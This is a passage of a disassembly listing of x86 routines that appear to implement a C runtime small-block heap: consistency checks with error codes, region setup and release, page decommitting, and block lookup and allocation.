		push	ecx
		call	near ptr 29415F4h
		nop
		test	eax, eax
		jz	short loc_427F6C
		mov	eax, 0FFFFFFFCh
		jmp	loc_428419
; ---------------------------------------------------------------------------


loc_427F6C:				; CODE XREF: sub_427E00+160j
		mov	edx, [ebp+var_128]
		mov	[ebp+var_8], edx
		mov	[ebp+var_140], 0
		jmp	short loc_427F90
; ---------------------------------------------------------------------------


loc_427F81:				; CODE XREF: sub_427E00+30Fj
		mov	eax, [ebp+var_140]
		add	eax, 1
		mov	[ebp+var_140], eax


loc_427F90:				; CODE XREF: sub_427E00+17Fj
		cmp	[ebp+var_140], 8
		jge	loc_428114
		mov	ecx, [ebp+var_8]
		add	ecx, 0Ch
		mov	[ebp+var_130], ecx
		mov	edx, [ebp+var_130]
		add	edx, 0FF0h
		mov	[ebp+var_138], edx
		mov	eax, [ebp+var_130]
		cmp	dword ptr [eax-4], 0FFFFFFFFh
		jnz	short loc_427FD2
		mov	ecx, [ebp+var_138]
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_427FDC


loc_427FD2:				; CODE XREF: sub_427E00+1C5j
		mov	eax, 0FFFFFFFBh
		jmp	loc_428419
; ---------------------------------------------------------------------------


loc_427FDC:				; CODE XREF: sub_427E00+1D0j
					; sub_427E00+2E6j
		mov	edx, [ebp+var_130]
		mov	eax, [edx]
		mov	[ebp+var_148], eax
		mov	ecx, [ebp+var_148]
		mov	[ebp+var_154], ecx
		mov	edx, [ebp+var_154]
		and	edx, 1
		test	edx, edx
		jz	short loc_428039
		mov	eax, [ebp+var_148]
		sub	eax, 1
		mov	[ebp+var_148], eax
		cmp	[ebp+var_148], 400h
		jle	short loc_428028
		mov	eax, 0FFFFFFFAh
		jmp	loc_428419
; ---------------------------------------------------------------------------


loc_428028:				; CODE XREF: sub_427E00+21Cj
		mov	ecx, [ebp+var_12C]
		add	ecx, 1
		mov	[ebp+var_12C], ecx
		jmp	short loc_42807B
; ---------------------------------------------------------------------------


loc_428039:				; CODE XREF: sub_427E00+201j
		mov	edx, [ebp+var_148]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_14C], edx
		cmp	[ebp+var_14C], 3Fh
		jle	short loc_42805E
		mov	[ebp+var_14C], 3Fh


loc_42805E:				; CODE XREF: sub_427E00+252j
		mov	eax, [ebp+var_14C]
		mov	ecx, [ebp+eax*4+var_118]
		add	ecx, 1
		mov	edx, [ebp+var_14C]
		mov	[ebp+edx*4+var_118], ecx


loc_42807B:				; CODE XREF: sub_427E00+237j
		cmp	[ebp+var_148], 10h
		jl	short loc_42809D
		mov	eax, [ebp+var_148]
		and	eax, 0Fh
		test	eax, eax
		jnz	short loc_42809D
		cmp	[ebp+var_148], 0FF0h
		jle	short loc_4280A7


loc_42809D:				; CODE XREF: sub_427E00+282j
					; sub_427E00+28Fj
		mov	eax, 0FFFFFFF9h
		jmp	loc_428419
; ---------------------------------------------------------------------------


loc_4280A7:				; CODE XREF: sub_427E00+29Bj
		mov	ecx, [ebp+var_130]
		add	ecx, [ebp+var_148]
		mov	edx, [ecx-4]
		cmp	edx, [ebp+var_154]
		jz	short loc_4280C8
		mov	eax, 0FFFFFFF8h
		jmp	loc_428419
; ---------------------------------------------------------------------------


loc_4280C8:				; CODE XREF: sub_427E00+2BCj
		mov	eax, [ebp+var_130]
		add	eax, [ebp+var_148]
		mov	[ebp+var_130], eax
		mov	ecx, [ebp+var_130]
		cmp	ecx, [ebp+var_138]
		jb	loc_427FDC
		mov	edx, [ebp+var_130]
		cmp	edx, [ebp+var_138]
		jz	short loc_428104
		mov	eax, 0FFFFFFF8h
		jmp	loc_428419
; ---------------------------------------------------------------------------


loc_428104:				; CODE XREF: sub_427E00+2F8j
		mov	eax, [ebp+var_8]
		add	eax, 1000h
		mov	[ebp+var_8], eax
		jmp	loc_427F81
; ---------------------------------------------------------------------------


loc_428114:				; CODE XREF: sub_427E00+197j
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		cmp	edx, [ebp+var_12C]
		jz	short loc_42812B
		mov	eax, 0FFFFFFF7h
		jmp	loc_428419
; ---------------------------------------------------------------------------


loc_42812B:				; CODE XREF: sub_427E00+31Fj
		mov	eax, [ebp+var_18]
		mov	[ebp+var_134], eax
		mov	[ebp+var_14], 0
		jmp	short loc_428146
; ---------------------------------------------------------------------------


loc_42813D:				; CODE XREF: sub_427E00+578j
		mov	ecx, [ebp+var_14]
		add	ecx, 1
		mov	[ebp+var_14], ecx


loc_428146:				; CODE XREF: sub_427E00+33Bj
		cmp	[ebp+var_14], 40h
		jge	loc_42837D
		mov	[ebp+var_168], 0
		mov	edx, [ebp+var_134]
		mov	[ebp+var_130], edx


loc_428166:				; CODE XREF: sub_427E00+4A5j
		mov	eax, [ebp+var_130]
		mov	ecx, [eax+4]
		mov	[ebp+var_15C], ecx
		mov	edx, [ebp+var_15C]
		cmp	edx, [ebp+var_134]
		jz	loc_4282AA
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_168]
		cmp	ecx, [ebp+eax*4+var_118]
		jz	loc_4282AA
		mov	edx, [ebp+var_15C]
		cmp	edx, [ebp+var_128]
		jb	short loc_4281BE
		mov	eax, [ebp+var_128]
		add	eax, 8000h
		cmp	[ebp+var_15C], eax
		jb	short loc_4281C8


loc_4281BE:				; CODE XREF: sub_427E00+3A9j
		mov	eax, 0FFFFFFF6h
		jmp	loc_428419
; ---------------------------------------------------------------------------


loc_4281C8:				; CODE XREF: sub_427E00+3BCj
		mov	ecx, [ebp+var_15C]
		and	ecx, 0FFFFF000h
		mov	[ebp+var_164], ecx
		mov	edx, [ebp+var_164]
		add	edx, 0Ch
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		add	eax, 0FF0h
		mov	[ebp+var_124], eax


loc_4281F4:				; CODE XREF: sub_427E00+41Cj
		mov	ecx, [ebp+var_10]
		cmp	ecx, [ebp+var_124]
		jz	short loc_42821E
		mov	edx, [ebp+var_10]
		cmp	edx, [ebp+var_15C]
		jnz	short loc_42820C
		jmp	short loc_42821E
; ---------------------------------------------------------------------------


loc_42820C:				; CODE XREF: sub_427E00+408j
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		mov	edx, [ebp+var_10]
		add	edx, ecx
		mov	[ebp+var_10], edx
		jmp	short loc_4281F4
; ---------------------------------------------------------------------------


loc_42821E:				; CODE XREF: sub_427E00+3FDj
					; sub_427E00+40Aj
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_124]
		jnz	short loc_428233
		mov	eax, 0FFFFFFF5h
		jmp	loc_428419
; ---------------------------------------------------------------------------


loc_428233:				; CODE XREF: sub_427E00+427j
		mov	ecx, [ebp+var_15C]
		mov	edx, [ecx]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_14C], edx
		cmp	[ebp+var_14C], 3Fh
		jle	short loc_42825A
		mov	[ebp+var_14C], 3Fh


loc_42825A:				; CODE XREF: sub_427E00+44Ej
		mov	eax, [ebp+var_14C]
		cmp	eax, [ebp+var_14]
		jz	short loc_42826F
		mov	eax, 0FFFFFFF4h
		jmp	loc_428419
; ---------------------------------------------------------------------------


loc_42826F:				; CODE XREF: sub_427E00+463j
		mov	ecx, [ebp+var_15C]
		mov	edx, [ecx+8]
		cmp	edx, [ebp+var_130]
		jz	short loc_42828A
		mov	eax, 0FFFFFFF3h
		jmp	loc_428419
; ---------------------------------------------------------------------------


loc_42828A:				; CODE XREF: sub_427E00+47Ej
		mov	eax, [ebp+var_15C]
		mov	[ebp+var_130], eax
		mov	ecx, [ebp+var_168]
		add	ecx, 1
		mov	[ebp+var_168], ecx
		jmp	loc_428166
; ---------------------------------------------------------------------------


loc_4282AA:				; CODE XREF: sub_427E00+381j
					; sub_427E00+397j
		cmp	[ebp+var_168], 0
		jz	short loc_428321
		cmp	[ebp+var_14], 20h
		jge	short loc_4282EB
		mov	edx, 80000000h
		mov	ecx, [ebp+var_14]
		shr	edx, cl
		mov	eax, [ebp+var_11C]
		or	eax, edx
		mov	[ebp+var_11C], eax
		mov	edx, 80000000h
		mov	ecx, [ebp+var_14]
		shr	edx, cl
		mov	eax, [ebp+var_144]
		or	eax, edx
		mov	[ebp+var_144], eax
		jmp	short loc_428321
; ---------------------------------------------------------------------------


loc_4282EB:				; CODE XREF: sub_427E00+4B7j
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_150]
		or	eax, edx
		mov	[ebp+var_150], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_158]
		or	eax, edx
		mov	[ebp+var_158], eax


loc_428321:				; CODE XREF: sub_427E00+4B1j
					; sub_427E00+4E9j
		mov	ecx, [ebp+var_130]
		mov	edx, [ecx+4]
		cmp	edx, [ebp+var_134]
		jnz	short loc_428344
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_168]
		cmp	ecx, [ebp+eax*4+var_118]
		jz	short loc_42834E


loc_428344:				; CODE XREF: sub_427E00+530j
		mov	eax, 0FFFFFFF2h
		jmp	loc_428419
; ---------------------------------------------------------------------------


loc_42834E:				; CODE XREF: sub_427E00+542j
		mov	edx, [ebp+var_134]
		mov	eax, [edx+8]
		cmp	eax, [ebp+var_130]
		jz	short loc_428369
		mov	eax, 0FFFFFFF1h
		jmp	loc_428419
; ---------------------------------------------------------------------------


loc_428369:				; CODE XREF: sub_427E00+55Dj
		mov	ecx, [ebp+var_134]
		add	ecx, 8
		mov	[ebp+var_134], ecx
		jmp	loc_42813D
; ---------------------------------------------------------------------------


loc_42837D:				; CODE XREF: sub_427E00+146j
					; sub_427E00+34Aj
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_160]
		mov	ecx, [ebp+var_11C]
		cmp	ecx, [eax+edx*4+44h]
		jnz	short loc_4283AA
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_160]
		mov	ecx, [ebp+var_150]
		cmp	ecx, [eax+edx*4+0C4h]
		jz	short loc_4283B1


loc_4283AA:				; CODE XREF: sub_427E00+590j
		mov	eax, 0FFFFFFF0h
		jmp	short loc_428419
; ---------------------------------------------------------------------------


loc_4283B1:				; CODE XREF: sub_427E00+5A8j
		mov	edx, [ebp+var_128]
		add	edx, 8000h
		mov	[ebp+var_128], edx
		mov	eax, [ebp+var_18]
		add	eax, 204h
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_4]
		shl	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	loc_427EDA
; ---------------------------------------------------------------------------


loc_4283DB:				; CODE XREF: sub_427E00+E7j
		mov	edx, [ebp+var_13C]
		mov	eax, [ebp+var_144]
		cmp	eax, [edx]
		jnz	short loc_4283FC
		mov	ecx, [ebp+var_13C]
		mov	edx, [ebp+var_158]
		cmp	edx, [ecx+4]
		jz	short loc_428403


loc_4283FC:				; CODE XREF: sub_427E00+5E9j
		mov	eax, 0FFFFFFEFh
		jmp	short loc_428419
; ---------------------------------------------------------------------------


loc_428403:				; CODE XREF: sub_427E00+5FAj
		mov	eax, [ebp+var_13C]
		add	eax, 14h
		mov	[ebp+var_13C], eax
		jmp	loc_427E43
; ---------------------------------------------------------------------------


loc_428417:				; CODE XREF: sub_427E00+5Ej
		xor	eax, eax


loc_428419:				; CODE XREF: sub_427E00+26j
					; sub_427E00+8Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_427E00	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4522DC
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+8], eax
		cmp	dword ptr [ebp+8], 780h
		ja	short loc_428457
		mov	ecx, [ebp+8]
		mov	dword_4522DC, ecx
		mov	eax, 1
		jmp	short loc_428459
; ---------------------------------------------------------------------------


loc_428457:				; CODE XREF: .XComp0:00428445j
		xor	eax, eax


loc_428459:				; CODE XREF: .XComp0:00428455j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428460	proc near		; CODE XREF: .XComp0:00426761p
					; sub_428920+34Cp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	dword_4502C8, 0FFFFFFFFh
		jnz	short loc_428478
		mov	[ebp+var_C], offset off_4502B8
		jmp	short loc_42849B
; ---------------------------------------------------------------------------


loc_428478:				; CODE XREF: sub_428460+Dj
		push	2020h
		push	0
		mov	eax, dword_4E98C8
		push	eax
		nop
		call	near ptr 2980000h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_42849B
		xor	eax, eax
		jmp	loc_42863A
; ---------------------------------------------------------------------------


loc_42849B:				; CODE XREF: sub_428460+16j
					; sub_428460+32j
		push	4
		push	2000h
		push	400000h
		push	0
		nop
		call	near ptr 29A0E5Dh
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	loc_42861C
		push	4
		push	1000h
		push	10000h
		mov	ecx, [ebp+var_4]
		push	ecx
		nop
		call	near ptr 29A0E5Dh
		test	eax, eax
		jz	loc_42860B
		cmp	[ebp+var_C], offset off_4502B8
		jnz	short loc_42850B
		cmp	off_4502B8, 0
		jnz	short loc_4284F6
		mov	off_4502B8, offset off_4502B8


loc_4284F6:				; CODE XREF: sub_428460+8Aj
		cmp	off_4502BC, 0
		jnz	short loc_428509
		mov	off_4502BC, offset off_4502B8


loc_428509:				; CODE XREF: sub_428460+9Dj
		jmp	short loc_428534
; ---------------------------------------------------------------------------


loc_42850B:				; CODE XREF: sub_428460+81j
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx], offset	off_4502B8
		mov	eax, [ebp+var_C]
		mov	ecx, off_4502BC
		mov	[eax+4], ecx
		mov	edx, [ebp+var_C]
		mov	off_4502BC, edx
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_C]
		mov	[ecx], edx


loc_428534:				; CODE XREF: sub_428460:loc_428509j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	[eax+10h], ecx
		mov	edx, [ebp+var_4]
		add	edx, 400000h
		mov	eax, [ebp+var_C]
		mov	[eax+14h], edx
		mov	ecx, [ebp+var_C]
		add	ecx, 18h
		mov	edx, [ebp+var_C]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_C]
		add	eax, 98h
		mov	ecx, [ebp+var_C]
		mov	[ecx+0Ch], eax
		mov	[ebp+var_8], 0
		jmp	short loc_428578
; ---------------------------------------------------------------------------


loc_42856F:				; CODE XREF: sub_428460+153j
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx


loc_428578:				; CODE XREF: sub_428460+10Dj
		cmp	[ebp+var_8], 400h
		jge	short loc_4285B5
		cmp	[ebp+var_8], 10h
		jge	short loc_428597
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	dword ptr [ecx+eax*8+18h], 0F0h
		jmp	short loc_4285A5
; ---------------------------------------------------------------------------


loc_428597:				; CODE XREF: sub_428460+125j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax+edx*8+18h], 0FFFFFFFFh


loc_4285A5:				; CODE XREF: sub_428460+135j
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+ecx*8+1Ch], 0F1h
		jmp	short loc_42856F
; ---------------------------------------------------------------------------


loc_4285B5:				; CODE XREF: sub_428460+11Fj
		push	10000h
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_421410
		add	esp, 0Ch


loc_4285C8:				; CODE XREF: sub_428460+1A4j
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+10h]
		add	edx, 10000h
		cmp	[ebp+var_4], edx
		jnb	short loc_428606
		mov	eax, [ebp+var_4]
		add	eax, 8
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+4], 0F0h
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax+0F8h], 0FFh
		mov	ecx, [ebp+var_4]
		add	ecx, 1000h
		mov	[ebp+var_4], ecx
		jmp	short loc_4285C8
; ---------------------------------------------------------------------------


loc_428606:				; CODE XREF: sub_428460+177j
		mov	eax, [ebp+var_C]
		jmp	short loc_42863A
; ---------------------------------------------------------------------------


loc_42860B:				; CODE XREF: sub_428460+74j
		push	8000h
		push	0
		mov	edx, [ebp+var_4]
		push	edx
		nop
		call	near ptr 29A0CE3h


loc_42861C:				; CODE XREF: sub_428460+56j
		cmp	[ebp+var_C], offset off_4502B8
		jz	short loc_428638
		mov	eax, [ebp+var_C]
		push	eax
		push	0
		mov	ecx, dword_4E98C8
		push	ecx
		nop
		call	near ptr 29A0000h


loc_428638:				; CODE XREF: sub_428460+1C3j
		xor	eax, eax


loc_42863A:				; CODE XREF: sub_428460+36j
					; sub_428460+1A9j
		mov	esp, ebp
		pop	ebp
		retn
sub_428460	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428640	proc near		; CODE XREF: sub_4286C0+136p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	8000h
		push	0
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		push	ecx
		nop
		call	near ptr 29A0CE3h
		mov	edx, off_4522D8
		cmp	edx, [ebp+arg_0]
		jnz	short loc_42866E
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	off_4522D8, ecx


loc_42866E:				; CODE XREF: sub_428640+20j
		cmp	[ebp+arg_0], offset off_4502B8
		jz	short loc_4286A7
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	0
		mov	edx, dword_4E98C8
		push	edx
		nop
		call	near ptr 29A0000h
		jmp	short loc_4286B1
; ---------------------------------------------------------------------------


loc_4286A7:				; CODE XREF: sub_428640+35j
		mov	dword_4502C8, 0FFFFFFFFh


loc_4286B1:				; CODE XREF: sub_428640+65j
		pop	ebp
		retn
sub_428640	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4286C0	proc near		; CODE XREF: sub_4288B0+60p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, off_4502BC
		mov	[ebp+var_14], eax


loc_4286CE:				; CODE XREF: sub_4286C0+14Dj
		mov	ecx, [ebp+var_14]
		cmp	dword ptr [ecx+10h], 0FFFFFFFFh
		jz	loc_4287FE
		mov	[ebp+var_C], 3FFh
		mov	[ebp+var_10], 0
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_14]
		lea	ecx, [eax+edx*8+18h]
		mov	[ebp+var_4], ecx
		jmp	short loc_42870A
; ---------------------------------------------------------------------------


loc_4286F8:				; CODE XREF: sub_4286C0:loc_42878Fj
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_4]
		sub	eax, 8
		mov	[ebp+var_4], eax


loc_42870A:				; CODE XREF: sub_4286C0+36j
		cmp	[ebp+var_C], 0
		jl	loc_428794
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx], 0F0h
		jnz	short loc_42878F
		push	4000h
		push	1000h
		mov	edx, [ebp+var_C]
		shl	edx, 0Ch
		mov	eax, [ebp+var_14]
		mov	ecx, [eax+10h]
		add	ecx, edx
		push	ecx
		nop
		call	near ptr 29A0CE3h
		test	eax, eax
		jz	short loc_42878F
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx], 0FFFFFFFFh
		mov	eax, dword_4E92C0
		sub	eax, 1
		mov	dword_4E92C0, eax
		mov	ecx, [ebp+var_14]
		cmp	dword ptr [ecx+0Ch], 0
		jz	short loc_42876C
		mov	edx, [ebp+var_14]
		mov	eax, [edx+0Ch]
		cmp	eax, [ebp+var_4]
		jbe	short loc_428775


loc_42876C:				; CODE XREF: sub_4286C0+9Fj
		mov	ecx, [ebp+var_14]
		mov	edx, [ebp+var_4]
		mov	[ecx+0Ch], edx


loc_428775:				; CODE XREF: sub_4286C0+AAj
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+arg_0]
		sub	ecx, 1
		mov	[ebp+arg_0], ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_42878F
		jmp	short loc_428794
; ---------------------------------------------------------------------------


loc_42878F:				; CODE XREF: sub_4286C0+5Dj
					; sub_4286C0+80j ...
		jmp	loc_4286F8
; ---------------------------------------------------------------------------


loc_428794:				; CODE XREF: sub_4286C0+4Ej
					; sub_4286C0+CDj
		mov	edx, [ebp+var_14]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [eax+4]
		mov	[ebp+var_14], ecx
		cmp	[ebp+var_10], 0
		jz	short loc_4287FE
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+18h], 0FFFFFFFFh
		jnz	short loc_4287FE
		mov	[ebp+var_C], 1
		mov	eax, [ebp+var_8]
		add	eax, 20h
		mov	[ebp+var_4], eax
		jmp	short loc_4287D6
; ---------------------------------------------------------------------------


loc_4287C4:				; CODE XREF: sub_4286C0+127j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		add	edx, 8
		mov	[ebp+var_4], edx


loc_4287D6:				; CODE XREF: sub_4286C0+102j
		cmp	[ebp+var_C], 400h
		jge	short loc_4287E9
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_4287E9
		jmp	short loc_4287C4
; ---------------------------------------------------------------------------


loc_4287E9:				; CODE XREF: sub_4286C0+11Dj
					; sub_4286C0+125j
		cmp	[ebp+var_C], 400h
		jnz	short loc_4287FE
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_428640
		add	esp, 4


loc_4287FE:				; CODE XREF: sub_4286C0+15j
					; sub_4286C0+E7j ...
		mov	edx, [ebp+var_14]
		cmp	edx, off_4502BC
		jz	short loc_428813
		cmp	[ebp+arg_0], 0
		jg	loc_4286CE


loc_428813:				; CODE XREF: sub_4286C0+147j
		mov	esp, ebp
		pop	ebp
		retn
sub_4286C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428820	proc near		; CODE XREF: sub_420610+B6p
					; sub_425D30+12Bp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], offset off_4502B8


loc_42882D:				; CODE XREF: sub_428820+88j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [eax+10h]
		jbe	short loc_428899
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		cmp	eax, [edx+14h]
		jnb	short loc_428899
		mov	ecx, [ebp+arg_0]
		and	ecx, 0Fh
		test	ecx, ecx
		jnz	short loc_428895
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFh
		xor	eax, eax
		add	eax, 100h
		cmp	edx, eax
		jb	short loc_428895
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFF000h
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+var_4]
		add	eax, 100h
		mov	ecx, [ebp+arg_0]
		sub	ecx, eax
		sar	ecx, 4
		mov	edx, [ebp+var_4]
		lea	eax, [edx+ecx+8]
		jmp	short loc_4288AC
; ---------------------------------------------------------------------------


loc_428895:				; CODE XREF: sub_428820+2Bj
					; sub_428820+3Fj
		xor	eax, eax
		jmp	short loc_4288AC
; ---------------------------------------------------------------------------


loc_428899:				; CODE XREF: sub_428820+16j
					; sub_428820+21j
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_8], offset off_4502B8
		jnz	short loc_42882D
		xor	eax, eax


loc_4288AC:				; CODE XREF: sub_428820+73j
					; sub_428820+77j
		mov	esp, ebp
		pop	ebp
		retn
sub_428820	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4288B0	proc near		; CODE XREF: sub_425F40+340p
					; sub_425F40+3ADp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		mov	edx, [ebp+arg_0]
		lea	eax, [edx+ecx*8+18h]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		add	ecx, edx
		mov	edx, [ebp+var_4]
		mov	[edx], ecx
		mov	eax, [ebp+arg_8]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0F1h
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0F0h
		jnz	short loc_428918
		mov	eax, dword_4E92C0
		add	eax, 1
		mov	dword_4E92C0, eax
		cmp	dword_4E92C0, 20h
		jnz	short loc_428918
		push	10h
		call	sub_4286C0
		add	esp, 4


loc_428918:				; CODE XREF: sub_4288B0+46j
					; sub_4288B0+5Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_4288B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428920	proc near		; CODE XREF: sub_425BD0+CEp
					; sub_425F40+2ECp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, off_4522D8
		mov	[ebp+var_20], eax


loc_42892E:				; CODE XREF: sub_428920+188j
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx+10h], 0FFFFFFFFh
		jz	loc_428A97
		mov	edx, [ebp+var_20]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_20]
		add	ecx, 2018h
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_20]
		add	edx, 18h
		mov	eax, [ebp+var_4]
		sub	eax, edx
		sar	eax, 3
		shl	eax, 0Ch
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+10h]
		add	edx, eax
		mov	[ebp+var_8], edx
		jmp	short loc_428983
; ---------------------------------------------------------------------------


loc_42896E:				; CODE XREF: sub_428920:loc_4289EFj
		mov	eax, [ebp+var_4]
		add	eax, 8
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, 1000h
		mov	[ebp+var_8], ecx


loc_428983:				; CODE XREF: sub_428920+4Cj
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+var_10]
		jnb	short loc_4289F4
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		cmp	ecx, [ebp+arg_0]
		jl	short loc_4289EF
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		cmp	eax, [ebp+arg_0]
		jbe	short loc_4289EF
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_428CE0
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4289E6
		mov	edx, [ebp+var_20]
		mov	off_4522D8, edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		sub	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_4]
		mov	[edx], ecx
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_C]
		jmp	loc_428CD4
; ---------------------------------------------------------------------------


loc_4289E6:				; CODE XREF: sub_428920+9Dj
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	[edx+4], eax


loc_4289EF:				; CODE XREF: sub_428920+73j
					; sub_428920+7Ej
		jmp	loc_42896E
; ---------------------------------------------------------------------------


loc_4289F4:				; CODE XREF: sub_428920+69j
		mov	ecx, [ebp+var_20]
		add	ecx, 18h
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_20]
		mov	eax, [edx+8]
		mov	[ebp+var_10], eax
